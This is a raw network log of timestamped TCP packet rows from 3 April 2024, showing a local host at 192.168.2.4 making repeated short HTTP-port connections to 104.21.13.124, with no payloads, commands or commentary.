Apr 3, 2024 06:37:33.785196066 CEST | 80 | 49750 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:33.785276890 CEST | 49750 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:33.791207075 CEST | 49750 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:33.915728092 CEST | 80 | 49750 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:33.915788889 CEST | 49750 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:34.040250063 CEST | 80 | 49750 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:34.342127085 CEST | 80 | 49750 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:34.342308998 CEST | 80 | 49750 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:34.342466116 CEST | 49750 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:34.344990969 CEST | 49750 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:34.469392061 CEST | 80 | 49750 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:34.482990980 CEST | 49751 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:34.607791901 CEST | 80 | 49751 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:34.607887030 CEST | 49751 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:34.610079050 CEST | 49751 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:34.734921932 CEST | 80 | 49751 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:34.735025883 CEST | 49751 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:34.859831095 CEST | 80 | 49751 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:35.177521944 CEST | 80 | 49751 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:35.177828074 CEST | 49751 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:35.177932024 CEST | 80 | 49751 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:35.177989006 CEST | 49751 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:35.302594900 CEST | 80 | 49751 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:35.325301886 CEST | 49752 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:35.450261116 CEST | 80 | 49752 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:35.450459957 CEST | 49752 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:35.452744961 CEST | 49752 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:35.577822924 CEST | 80 | 49752 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:35.578013897 CEST | 49752 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:35.703191996 CEST | 80 | 49752 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:35.871701002 CEST | 80 | 49752 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:35.871974945 CEST | 49752 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:35.872003078 CEST | 80 | 49752 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:35.872047901 CEST | 49752 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:35.998513937 CEST | 80 | 49752 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:36.014381886 CEST | 49753 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:36.138534069 CEST | 80 | 49753 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:36.138616085 CEST | 49753 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:36.151380062 CEST | 49753 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:36.276382923 CEST | 80 | 49753 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:36.276568890 CEST | 49753 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:36.400595903 CEST | 80 | 49753 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:36.567384005 CEST | 80 | 49753 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:36.568008900 CEST | 49753 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:36.568033934 CEST | 80 | 49753 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:36.568097115 CEST | 49753 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:36.694291115 CEST | 80 | 49753 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:36.718892097 CEST | 49754 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:36.844105959 CEST | 80 | 49754 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:36.844197035 CEST | 49754 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:36.850228071 CEST | 49754 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:36.977369070 CEST | 80 | 49754 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:36.977451086 CEST | 49754 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:37.103013992 CEST | 80 | 49754 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:37.429876089 CEST | 80 | 49754 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:37.430166006 CEST | 80 | 49754 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:37.430167913 CEST | 49754 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:37.430223942 CEST | 49754 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:37.554625988 CEST | 80 | 49754 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:37.576244116 CEST | 49755 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:37.700803041 CEST | 80 | 49755 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:37.701023102 CEST | 49755 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:37.702888966 CEST | 49755 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:37.827821970 CEST | 80 | 49755 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:37.827876091 CEST | 49755 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:37.952589035 CEST | 80 | 49755 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:38.131963015 CEST | 80 | 49755 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:38.132245064 CEST | 49755 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:38.132457018 CEST | 80 | 49755 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:38.132499933 CEST | 49755 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:38.257042885 CEST | 80 | 49755 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:38.280744076 CEST | 49756 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:38.405149937 CEST | 80 | 49756 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:38.405226946 CEST | 49756 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:38.407237053 CEST | 49756 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:38.531683922 CEST | 80 | 49756 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:38.531969070 CEST | 49756 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:38.656167984 CEST | 80 | 49756 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:38.835591078 CEST | 80 | 49756 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:38.835750103 CEST | 80 | 49756 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:38.835836887 CEST | 49756 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:38.835876942 CEST | 49756 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:38.960382938 CEST | 80 | 49756 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:38.988483906 CEST | 49757 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:39.114898920 CEST | 80 | 49757 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:39.114989042 CEST | 49757 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:39.122189045 CEST | 49757 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:39.247154951 CEST | 80 | 49757 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:39.247241020 CEST | 49757 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:39.372365952 CEST | 80 | 49757 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:39.687850952 CEST | 80 | 49757 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:39.687984943 CEST | 80 | 49757 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:39.688049078 CEST | 49757 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:39.688105106 CEST | 49757 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:39.813163042 CEST | 80 | 49757 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:39.831767082 CEST | 49758 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:39.956154108 CEST | 80 | 49758 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:39.956254005 CEST | 49758 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:39.958518982 CEST | 49758 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:40.082802057 CEST | 80 | 49758 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:40.082890034 CEST | 49758 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:40.207257986 CEST | 80 | 49758 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:40.526815891 CEST | 80 | 49758 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:40.526926994 CEST | 80 | 49758 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:40.527168989 CEST | 49758 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:40.527168989 CEST | 49758 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:40.651787996 CEST | 80 | 49758 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:40.667979956 CEST | 49759 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:40.802115917 CEST | 80 | 49759 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:40.802284956 CEST | 49759 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:40.804238081 CEST | 49759 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:40.928131104 CEST | 80 | 49759 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:40.928263903 CEST | 49759 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:41.052325964 CEST | 80 | 49759 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:41.214807034 CEST | 80 | 49759 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:41.214962959 CEST | 80 | 49759 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:41.215009928 CEST | 49759 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:41.215082884 CEST | 49759 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:41.339241982 CEST | 80 | 49759 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:41.357502937 CEST | 49760 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:41.482177019 CEST | 80 | 49760 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:41.482363939 CEST | 49760 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:41.484457016 CEST | 49760 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:41.608654022 CEST | 80 | 49760 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:41.608827114 CEST | 49760 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:41.733135939 CEST | 80 | 49760 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:42.052025080 CEST | 80 | 49760 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:42.052047014 CEST | 80 | 49760 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:42.052143097 CEST | 49760 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:42.052323103 CEST | 49760 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:42.176614046 CEST | 80 | 49760 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:42.184854984 CEST | 49761 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:42.309815884 CEST | 80 | 49761 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:42.309950113 CEST | 49761 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:42.314099073 CEST | 49761 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:42.438894033 CEST | 80 | 49761 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:42.439030886 CEST | 49761 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:42.563806057 CEST | 80 | 49761 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:42.879087925 CEST | 80 | 49761 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:42.879394054 CEST | 49761 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:42.880732059 CEST | 80 | 49761 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:42.880790949 CEST | 49761 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:43.004503012 CEST | 80 | 49761 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:43.024776936 CEST | 49762 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:43.149976969 CEST | 80 | 49762 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:43.150163889 CEST | 49762 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:43.152523994 CEST | 49762 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:43.277321100 CEST | 80 | 49762 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:43.277462006 CEST | 49762 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:43.402322054 CEST | 80 | 49762 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:43.712430954 CEST | 80 | 49762 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:43.712752104 CEST | 49762 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:43.712779045 CEST | 80 | 49762 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:43.712843895 CEST | 49762 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:43.837704897 CEST | 80 | 49762 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:43.859626055 CEST | 49763 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:43.984906912 CEST | 80 | 49763 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:43.985016108 CEST | 49763 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:43.987495899 CEST | 49763 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:44.113976002 CEST | 80 | 49763 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:44.114038944 CEST | 49763 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:44.238790035 CEST | 80 | 49763 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:44.554058075 CEST | 80 | 49763 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:44.554390907 CEST | 80 | 49763 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:44.554490089 CEST | 49763 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:44.554491043 CEST | 49763 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:44.679366112 CEST | 80 | 49763 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:45.078643084 CEST | 49764 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:45.202615023 CEST | 80 | 49764 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:45.202881098 CEST | 49764 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:45.205065012 CEST | 49764 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:45.328929901 CEST | 80 | 49764 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:45.329044104 CEST | 49764 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:45.453088999 CEST | 80 | 49764 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:45.763633013 CEST | 80 | 49764 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:45.765156031 CEST | 80 | 49764 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:45.765356064 CEST | 49764 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:46.682194948 CEST | 49764 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:46.806365013 CEST | 80 | 49764 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:46.832370043 CEST | 49765 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:46.956866980 CEST | 80 | 49765 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:46.956984043 CEST | 49765 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:46.959263086 CEST | 49765 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:47.083585024 CEST | 80 | 49765 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:47.083638906 CEST | 49765 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:47.208086014 CEST | 80 | 49765 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:47.518312931 CEST | 80 | 49765 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:47.518332958 CEST | 80 | 49765 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:47.518404007 CEST | 49765 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:47.518574953 CEST | 49765 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:47.642983913 CEST | 80 | 49765 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:47.651454926 CEST | 49766 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:47.776068926 CEST | 80 | 49766 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:47.776228905 CEST | 49766 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:47.778228998 CEST | 49766 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:47.902756929 CEST | 80 | 49766 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:47.902832031 CEST | 49766 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:48.027184963 CEST | 80 | 49766 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:48.190229893 CEST | 80 | 49766 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:48.190350056 CEST | 80 | 49766 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:48.190416098 CEST | 49766 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:48.190874100 CEST | 49766 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:48.315188885 CEST | 80 | 49766 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:48.349466085 CEST | 49767 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:48.475400925 CEST | 80 | 49767 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:48.475505114 CEST | 49767 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:48.477935076 CEST | 49767 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:48.603043079 CEST | 80 | 49767 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:48.603128910 CEST | 49767 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:48.728399992 CEST | 80 | 49767 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:48.892909050 CEST | 80 | 49767 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:48.893194914 CEST | 80 | 49767 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:48.893407106 CEST | 49767 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:48.893496037 CEST | 49767 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:49.018604040 CEST | 80 | 49767 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:49.030618906 CEST | 49768 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:49.155570030 CEST | 80 | 49768 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:49.155762911 CEST | 49768 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:49.163901091 CEST | 49768 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:49.288674116 CEST | 80 | 49768 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:49.288872957 CEST | 49768 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:49.413748026 CEST | 80 | 49768 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:49.587447882 CEST | 80 | 49768 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:49.587692022 CEST | 49768 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:49.587770939 CEST | 80 | 49768 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:49.587816954 CEST | 49768 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:49.712645054 CEST | 80 | 49768 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:49.728595018 CEST | 49769 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:49.853493929 CEST | 80 | 49769 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:49.853621960 CEST | 49769 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:49.855566025 CEST | 49769 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:49.980262995 CEST | 80 | 49769 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:49.980385065 CEST | 49769 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:50.105382919 CEST | 80 | 49769 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:50.284646034 CEST | 80 | 49769 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:50.285000086 CEST | 49769 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:50.285485029 CEST | 80 | 49769 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:50.285542965 CEST | 49769 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:50.410108089 CEST | 80 | 49769 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:50.419902086 CEST | 49770 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:50.544884920 CEST | 80 | 49770 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:50.545001030 CEST | 49770 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:50.546988010 CEST | 49770 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:50.672009945 CEST | 80 | 49770 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:50.672096014 CEST | 49770 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:50.796952963 CEST | 80 | 49770 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:50.965027094 CEST | 80 | 49770 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:50.965090990 CEST | 80 | 49770 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:50.965167046 CEST | 49770 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:50.965337038 CEST | 49770 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:51.090013981 CEST | 80 | 49770 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:51.116822958 CEST | 49772 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:51.241008043 CEST | 80 | 49772 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:51.241211891 CEST | 49772 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:51.243601084 CEST | 49772 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:51.367670059 CEST | 80 | 49772 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:51.367784023 CEST | 49772 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:51.491777897 CEST | 80 | 49772 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:51.667047977 CEST | 80 | 49772 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:51.667392969 CEST | 49772 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:51.667726040 CEST | 80 | 49772 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:51.667795897 CEST | 49772 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:51.791382074 CEST | 80 | 49772 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:51.819758892 CEST | 49773 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:51.944730043 CEST | 80 | 49773 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:51.944817066 CEST | 49773 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:51.947016954 CEST | 49773 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:52.071604013 CEST | 80 | 49773 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:52.071666956 CEST | 49773 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:52.196434975 CEST | 80 | 49773 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:52.502201080 CEST | 80 | 49773 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:52.502243042 CEST | 80 | 49773 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:52.502301931 CEST | 49773 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:52.502484083 CEST | 49773 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:52.627346039 CEST | 80 | 49773 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:52.642806053 CEST | 49774 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:52.768068075 CEST | 80 | 49774 | 104.21.13.124 | 192.168.2.4 |
